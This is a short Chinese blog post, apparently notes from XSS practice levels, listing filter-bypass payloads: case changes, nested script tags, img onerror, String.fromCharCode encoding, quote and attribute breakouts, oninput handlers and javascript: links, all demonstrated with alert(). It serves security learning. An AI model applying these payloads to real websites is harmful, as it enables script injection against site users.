xss

作者: 留白_bb77 | 来源:发表于2019-04-12 17:51 被阅读0次

    过滤了小写的``,可以使用大小写绕过

    过滤了不区分大小写的``与``,可以使用嵌套的script标签绕过,

    url/example.php?name=<scr<script>ipt>alert("xss")</scr</script>ipt>

    包含script字符串即报错,可以使用img标签绕过。

    URL/example.php?name=<img src=""onerror="alert('xss')">

    包含alert字符串即报错,可以使用编码方式绕过。URL/example.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>

    代码在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,可以使用单引号绕过。

    url/example.php?name=';alert('xss');'

    post地址使用了当前url,我们构造当前url地址达到xss目的,尝试构造代码如下

    url/example.php/[/url]"><script>alert('xss')</script>

    使用str_replace()函数将``用空格取代。这种防护几乎没有什么作用,只需要简单改变大小写即可绕过该函数的防御。

    输入`alert(/xss/)`即可。

    Name处限制了字符长度。但是PHP源码中并没有对Name的长度进行验证。可以采用分段绕过,即“/* */ ”的方式

    需要先将value属性闭合

    "><script>alert('yes')</script>

    oninput事件

    属性       值            描述

    Oninput   script      当元素获得用户输入时运行的脚本。

    该事件会在元素获得用户输入时执行包含的脚本

    123' oninput='alert(123)

    由于使用的是oninput事件,需要捕获到用户输入才能执行事件,所以在上面的输入框中输入即可触发alert()函数

    判断value使用的是单引号还是双引号方法:

    输入' " > 三个字符测试闭合,查看文本框内的内容

     文本框无内容就是单引号,内容为 ' 即为双引号

     

    Oninput和script都被替换,使用伪链接方式假造一个超链接尝试:

    "> <a href="javascript:alert('test')">link</a>

    点击链接

    相关文章

      网友评论

          本文标题:xss

          本文链接:https://www.haomeiwen.com/subject/xflhwqtx.html